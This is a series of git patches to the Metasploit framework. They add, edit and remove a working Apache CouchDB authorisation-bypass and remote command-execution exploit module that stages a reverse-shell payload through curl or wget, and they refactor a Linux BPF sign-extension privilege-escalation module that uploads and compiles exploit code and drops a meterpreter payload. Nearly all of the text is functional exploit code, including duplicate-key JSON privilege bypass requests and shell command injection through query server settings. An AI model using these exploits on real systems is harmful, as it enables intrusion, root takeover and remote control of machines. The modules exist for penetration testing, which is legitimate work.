[false, 'The password to login with']) + ]) + register_advanced_options( + [ + OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), + OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) + ]) + end + + def check + get_version + version = Gem::Version.new(@version) + return CheckCode::Unknown if version.version.empty? + vprint_status "Found CouchDB version #{version}" + + if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + return CheckCode::Appears + end + + CheckCode::Safe + end + + def exploit + @exploit_flag = false + fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version + version = @version + + vprint_good("#{peer} - Authorization bypass successful") if auth_bypass + + print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") + execute_cmdstager( + 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", + :temp => datastore['WritableDir'], + :file => File.basename(cmdstager_path), + :nospace => true, + :noconcat => true + ) +=begin + @cmdstager = generate_cmdstager( + 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", + :temp => datastore['WritableDir'], + :file => File.basename(cmdstager_path), + :nospace => true + ).join(';') +=end + + if !datastore['Attempts'] || datastore['Attempts'] <= 0 + attempts = 1 + else + attempts = datastore['Attempts'] + end +=begin + attempts.times do |i| + print_status("#{peer} - The #{i+1} time to exploit") + send_payload(version) + Rex.sleep(5) + # break if we get the shell + break if @exploit_flag + end +=end + print_status("Shutting down the web service...") + stop_service + end + + # CVE-2017-12635 + # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, + # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization + # for the newly created user. + def auth_bypass + + username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) + password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) + @auth = basic_auth(username, password) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} + ) + + if res && res.code == 200 && res.get_json_document['ok'] + return true + else + return false + end + + end + + def get_version + @version = nil + + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'authorization' => @auth + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + vprint_bad("#{peer} - Connection failed") + return false + end + + unless res + vprint_bad("#{peer} - No response, check if it is CouchDB. ") + return false + end + + if res && res.code == 401 + print_bad("#{peer} - Authentication required.") + return false + end + + if res && res.code == 200 + res_json = res.get_json_document + + if res_json.empty? + vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") + return false + end + + @version = res_json['version'] if res_json['version'] + return true + end + + vprint_warning("#{peer} - Version not found") + return true + end + + def send_payload(version) + vprint_status("#{peer} - CouchDB version is #{version}") if version + + version = Gem::Version.new(@version) + case + # Version not found + when version.version.empty? + + vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") + # if target set Automatic, exploit failed. + if target == targets[0] + fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.") + elsif target == targets[1] + payload1 + elsif target == targets[2] + payload2 + end + + when version < Gem::Version.new('1.7.0') + payload1 + when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + payload2 + when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') + fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") + + end + + end + + # Exploit with multi requests + # payload1 is for the version of couchdb below 1.7.0 + def payload1 + + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_hex = Rex::Text.rand_text_hex(32) + rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" + @file_to_clean = rand_file + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"echo '@cmdstager' > #{rand_file}"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), + 'method' => 'PUT', + 'authorization' => @auth + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{{"_id": "#{rand_hex}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), + 'method' => 'POST', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"/bin/sh #{rand_file}"} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), + 'method' => 'POST', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} + ) + + + end + + # payload2 is for the version of couchdb below 2.1.1 + def payload2 + + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) + rand_hex = Rex::Text.rand_text_hex(32) + rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" + + @file_to_clean = rand_file + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_membership"), + 'method' => 'GET', + 'authorization' => @auth + ) + node = res.get_json_document['all_nodes'][0] + + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"echo '@cmdstager' > #{rand_file}"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), + 'method' => 'PUT', + 'authorization' => @auth + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{{"_id": "#{rand_hex}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"/bin/sh #{rand_file}"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} + ) + end + + def cmdstager_path + @cmdstager_path ||= + "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" + end + + # + # Override methods + # + + def execute_command(cmd, opts) + + puts "cmd is #{cmd} " + rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) + rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) + rand_db = Rex::Text.rand_text_alpha_lower(4..12) + rand_doc = Rex::Text.rand_text_alpha_lower(4..12) + rand_hex = Rex::Text.rand_text_hex(32) + rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" + @file_to_clean = rand_file + + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{"#{cmd}"} + #'data' => %Q{"curl -so /tmp/test www.baidu.com"} + #'data' => %Q{"curl www.baidu.com > /tmp/test && id > /tmp/id"} + + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), + 'method' => 'PUT', + 'authorization' => @auth + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), + 'method' => 'PUT', + 'authorization' => @auth, + 'data' => %Q{{"_id": "#{rand_hex}"}} + ) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), + 'method' => 'POST', + 'authorization' => @auth, + 'ctype' => 'application/json', + 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} + ) + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def on_request_uri(cli, request) +=begin + if (not @cmdstager) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end +=end + print_status("Sending payload #{datastore['PAYLOAD']}") + super + + end + + def start_service(opts = {}) + super + @service_url = get_uri + end + + + # mark the exploit successful and clean temp file created during exploiting + def on_new_session(client) + # mark flag be true to stop exploit. + @exploit_flag = true + + # CmdStager should rm the file, but it blocks on the payload, so we do it + @file_to_clean << " #{cmdstager_path}" + vprint_status("Cleaning temp file #{@file_to_clean}") + begin + if client.type.eql? 'meterpreter' + client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' + client.fs.file.rm @file_to_clean + else + client.shell_command_token("rm #{@file_to_clean}") + end + vprint_good("Cleaned temp file successful.") + rescue + print_warning("Need to clean the temp file #{@file_to_clean} manually.") + end + end + +end From 0286204b5d14091238ee72cad22f45a30004a0cb Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 12 Apr 2018 03:54:02 -0400 Subject: [PATCH 022/217] Couchdb debug code --- modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb index 32a7908038..82b742c18e 100644 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb +++ b/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', - 'CMDSTAGER::FLAVOR' => 'wget' + 'CMDSTAGER::FLAVOR' => 'curl' }, 'CmdStagerFlavor' => ['curl', 'wget'], 'Targets' => [ @@ -348,7 +348,6 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts) - puts "cmd is #{cmd} " rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12) From 9a3064ad7ec31b18104bbc5cfcc0e43dc9b40466 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 12 Apr 2018 16:43:43 +0000 Subject: [PATCH 023/217] Cleanup and refactor upload_and_compile --- .../local/bpf_sign_extension_priv_esc.rb | 190 +++++++++--------- 1 file changed, 98 insertions(+), 92 deletions(-) diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 8bbf76714b..5c4a025264 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -4,107 +4,123 @@ ## class MetasploitModule < Msf::Exploit::Local - Rank = GoodRanking + Rank = GreatRanking include Msf::Post::Linux::Priv - include Msf::Exploit::EXE + include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE include Msf::Exploit::FileDropper - def initialize(info={}) - super( update_info( info, { - 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', - 'Description' => %q{ + def initialize(info = {}) + super( update_info( info, + 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter which contains a vulnerability where it may improperly perform sign extension. This can be utilized to priv escalate, this module has been tested on Ubuntu 16.04 with the 4.4.0-116 kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'bleidl', # discovery 'vnik', # edb 'h00die' # metasploit module ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell'], - 'References' => + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'References' => [ [ 'CVE', '2017-16995' ], [ 'EDB', '44298' ], [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] ], - 'Targets' => + 'Targets' => [ [ 'Linux x64', { 'Arch' => ARCH_X64 } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultOptions' => { - 'payload' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true, - }, - 'DefaultTarget' => 0, + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true + }, 'DisclosureDate' => 'Nov 12 2017', - 'Privileged' => true - } - )) - register_options([ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), - ]) + 'Privileged' => true, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + ] + end + + def base_dir + datastore['WritableDir'] + end + + def command_exists?(cmd) + cmd_exec("command -v #{cmd} && echo true").include? 'true' + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" end def check - uname = cmd_exec('uname -r') - if uname == '4.4.0-116-generic' - vprint_good('Kernel confirmed vulnerable') - if session.type.to_s.eql? 'meterpreter' - print_error('Exploit can only be run on shells (meterpreter does not work)') - return CheckCode::Safe - end - return CheckCode::Appears + version = kernel_release + unless version.start_with? '4.4.0-116-generic' + vprint_error "Kernel version #{version} is not vulnerable" end - print_error('Kernel not vulnerable') - CheckCode::Safe + vprint_good "Kernel version #{version} appears to be vulnerable" + + if session.type.to_s.eql? 'meterpreter' + vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' + end + + CheckCode::Appears end def exploit - - # a method to upload files consistently, and compile if necessary - def upload_and_compile(filename, file_path, file_content, compile=nil) - rm_f "#{file_path}" - if compile.nil? - vprint_status("Writing #{filename} to #{file_path}") - write_file(file_path, file_content) - else - rm_f "#{file_path}.c" - vprint_status("Writing #{filename} to #{file_path}.c") - write_file("#{file_path}.c", file_content) - register_file_for_cleanup("#{file_path}.c") - output = cmd_exec(compile) - unless output.blank? - print_error(output) - fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") - end - end - cmd_exec("chmod +x #{file_path}") - register_file_for_cleanup(file_path) + if session.type.to_s.eql? 'meterpreter' + fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)' end - unless check == CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + compile = false + if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + if command_exists? 'gcc' + vprint_good 'gcc is installed' + compile = true + else + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + end + c_code = %q{ #include #include @@ -234,6 +250,7 @@ class MetasploitModule < Msf::Exploit::Local static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) __exit(strerror(errno)); @@ -346,52 +363,41 @@ class MetasploitModule < Msf::Exploit::Local } - filename = rand_text_alpha(8) - exploit_path = "#{datastore['WritableDir']}/#{filename}" + exploit_name = ".#{rand_text_alphanumeric 8..12}" + exploit_path = "#{base_dir}/#{exploit_name}" - def check_gcc?() - gcc = cmd_exec('which gcc') - if gcc.include?('gcc') - vprint_good('gcc is installed') - return true - else - print_error('gcc is not installed. Compiling will fail.') - return false - end - end - - compile = false - if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' - compile = true if check_gcc? - end + # exploit name must be 7 characters to allow sting replacement + # in the pre-compiled binary + payload_name = ".#{rand_text_alphanumeric 7}" + payload_path = "#{base_dir}/#{payload_name}" if compile - vprint_status('Live compiling exploit on system') - payload_filename = rand_text_alpha(8) - payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + vprint_status 'Live compiling exploit on system...' + c_code.gsub!(%r{/bin/bash}, payload_path) + upload "#{exploit_path}.c", c_code + output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c" - # make our substitutions so things are dynamic - c_code.gsub!(/system\("\/bin\/bash"\);/, - "system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable - print_status('Writing files to target') - #cmd_exec("cd #{datastore['WritableDir']}") + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" + end + + cmd_exec "chmod +x #{exploit_path}" else - vprint_status('Dropping pre-compiled exploit on system') - compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out') - fd = ::File.open( compiled_path, "rb") - c_code = fd.read(fd.stat.size) + vprint_status 'Dropping pre-compiled exploit on system...' + compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out' + fd = ::File.open compiled_path, 'rb' + exploit_data = fd.read fd.stat.size fd.close - # use the variable names hard coded in the compiled versions - payload_filename = 'JDQDHtEG' - payload_path = '/tmp/JDQDHtEG' + exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path) + upload_and_chmodx exploit_path, exploit_data end - upload_and_compile(filename, exploit_path, c_code, compile ? "gcc -o #{exploit_path} #{exploit_path}.c" : nil) - upload_and_compile(payload_filename, payload_path, generate_payload_exe) - print_status("Starting execution of priv esc: #{exploit_path}") + upload_and_chmodx payload_path, generate_payload_exe - output = cmd_exec(exploit_path) + print_status 'Launching exploit...' + output = cmd_exec exploit_path output.each_line { |line| vprint_status line.chomp } end end From a60f205ee00de4c0aa5ffad3da94f8e03ea2b5f8 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 15 Apr 2018 18:08:49 +1000 Subject: [PATCH 024/217] Fix check return CheckCode and typos --- .../exploits/linux/local/bpf_sign_extension_priv_esc.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 5c4a025264..4447eb97c8 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -18,8 +18,8 @@ class MetasploitModule < Msf::Exploit::Local 'Description' => %q{ Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter which contains a vulnerability where it may improperly perform - sign extension. This can be utilized to priv escalate, - this module has been tested on Ubuntu 16.04 with the 4.4.0-116 + sign extension. This can be utilized to escalate privileges. + This module has been tested on Ubuntu 16.04 with the 4.4.0-116 kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. }, 'License' => MSF_LICENSE, @@ -82,6 +82,7 @@ class MetasploitModule < Msf::Exploit::Local version = kernel_release unless version.start_with? '4.4.0-116-generic' vprint_error "Kernel version #{version} is not vulnerable" + return CheckCode::Safe end vprint_good "Kernel version #{version} appears to be vulnerable" @@ -366,7 +367,7 @@ class MetasploitModule < Msf::Exploit::Local exploit_name = ".#{rand_text_alphanumeric 8..12}" exploit_path = "#{base_dir}/#{exploit_name}" - # exploit name must be 7 characters to allow sting replacement + # exploit name must be 7 characters to allow string replacement # in the pre-compiled binary payload_name = ".#{rand_text_alphanumeric 7}" payload_path = "#{base_dir}/#{payload_name}" From e197cb5759c059f14bd8227f27f6996785aa4553 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 22 Apr 2018 08:30:32 -0400 Subject: [PATCH 025/217] add arch check --- .../exploit/linux/local/bpf_sign_extension_priv_esc.md | 2 +- .../exploits/linux/local/bpf_sign_extension_priv_esc.rb | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index 4210670be8..f84803cfcc 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -20,7 +20,7 @@ is thrown by the executable. 1. Start msfconsole 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/bpf_extension_priv_esc` + 3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc` 4. Do: `set session #` 5. Do: `set verbose true` 6. Do: `exploit` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 4447eb97c8..2f12cb0075 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -86,6 +86,13 @@ class MetasploitModule < Msf::Exploit::Local end vprint_good "Kernel version #{version} appears to be vulnerable" + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + if session.type.to_s.eql? 'meterpreter' vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' end From 0ef0fae2b240e955fe38d3ea35af269eecdcf666 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 10 May 2018 22:17:38 -0400 Subject: [PATCH 026/217] rm test code --- .../http/apache_couchdb_cmd_exec_debug.rb | 435 ------------------ 1 file changed, 435 deletions(-) delete mode 100644 modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb diff --git a/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb b/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb deleted file mode 100644 index 82b742c18e..0000000000 --- a/modules/exploits/linux/http/apache_couchdb_cmd_exec_debug.rb +++ /dev/null @@ -1,435 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache CouchDB Arbitrary Command Execution', - 'Description' => %q{ - CouchDB administrative users can configure the database server via HTTP(S). - Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. - This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, - including downloading and executing scripts from the public internet. - }, - 'Author' => [ - 'Max Justicz', # CVE-2017-12635 Vulnerability discovery - 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery - 'Green-m ' # Metasploit module - ], - 'References' => [ - [ 'CVE', '2017-12636'], - [ 'CVE', '2017-12635'], - [ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], - [ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], - [ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] - ], - 'DisclosureDate' => 'Nov 14 2017', - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Privileged' => false, - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/x64/shell_reverse_tcp', - 'CMDSTAGER::FLAVOR' => 'curl' - }, - 'CmdStagerFlavor' => ['curl', 'wget'], - 'Targets' => [ - ['Automatic', {} ], - ['Apache CouchDB version 1.x', {} ], - ['Apache CouchDB version 2.x', {} ] - ], - 'DefaultTarget' => 0 - )) - - register_options([ - Opt::RPORT(5984), - OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) - ]) - register_advanced_options( - [ - OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), - OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) - ]) - end - - def check - get_version - version = Gem::Version.new(@version) - return CheckCode::Unknown if version.version.empty? - vprint_status "Found CouchDB version #{version}" - - if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - return CheckCode::Appears - end - - CheckCode::Safe - end - - def exploit - @exploit_flag = false - fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version - version = @version - - vprint_good("#{peer} - Authorization bypass successful") if auth_bypass - - print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager") - execute_cmdstager( - 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", - :temp => datastore['WritableDir'], - :file => File.basename(cmdstager_path), - :nospace => true, - :noconcat => true - ) -=begin - @cmdstager = generate_cmdstager( - 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", - :temp => datastore['WritableDir'], - :file => File.basename(cmdstager_path), - :nospace => true - ).join(';') -=end - - if !datastore['Attempts'] || datastore['Attempts'] <= 0 - attempts = 1 - else - attempts = datastore['Attempts'] - end -=begin - attempts.times do |i| - print_status("#{peer} - The #{i+1} time to exploit") - send_payload(version) - Rex.sleep(5) - # break if we get the shell - break if @exploit_flag - end -=end - print_status("Shutting down the web service...") - stop_service - end - - # CVE-2017-12635 - # The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, - # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization - # for the newly created user. - def auth_bypass - - username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) - password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) - @auth = basic_auth(username, password) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), - 'method' => 'PUT', - 'ctype' => 'application/json', - 'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} - ) - - if res && res.code == 200 && res.get_json_document['ok'] - return true - else - return false - end - - end - - def get_version - @version = nil - - begin - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'authorization' => @auth - ) - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e - vprint_bad("#{peer} - Connection failed") - return false - end - - unless res - vprint_bad("#{peer} - No response, check if it is CouchDB. ") - return false - end - - if res && res.code == 401 - print_bad("#{peer} - Authentication required.") - return false - end - - if res && res.code == 200 - res_json = res.get_json_document - - if res_json.empty? - vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") - return false - end - - @version = res_json['version'] if res_json['version'] - return true - end - - vprint_warning("#{peer} - Version not found") - return true - end - - def send_payload(version) - vprint_status("#{peer} - CouchDB version is #{version}") if version - - version = Gem::Version.new(@version) - case - # Version not found - when version.version.empty? - - vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") - # if target set Automatic, exploit failed. - if target == targets[0] - fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.") - elsif target == targets[1] - payload1 - elsif target == targets[2] - payload2 - end - - when version < Gem::Version.new('1.7.0') - payload1 - when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - payload2 - when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') - fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") - - end - - end - - # Exploit with multi requests - # payload1 is for the version of couchdb below 1.7.0 - def payload1 - - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) - rand_db = Rex::Text.rand_text_alpha_lower(4..12) - rand_doc = Rex::Text.rand_text_alpha_lower(4..12) - rand_hex = Rex::Text.rand_text_hex(32) - rand_file = 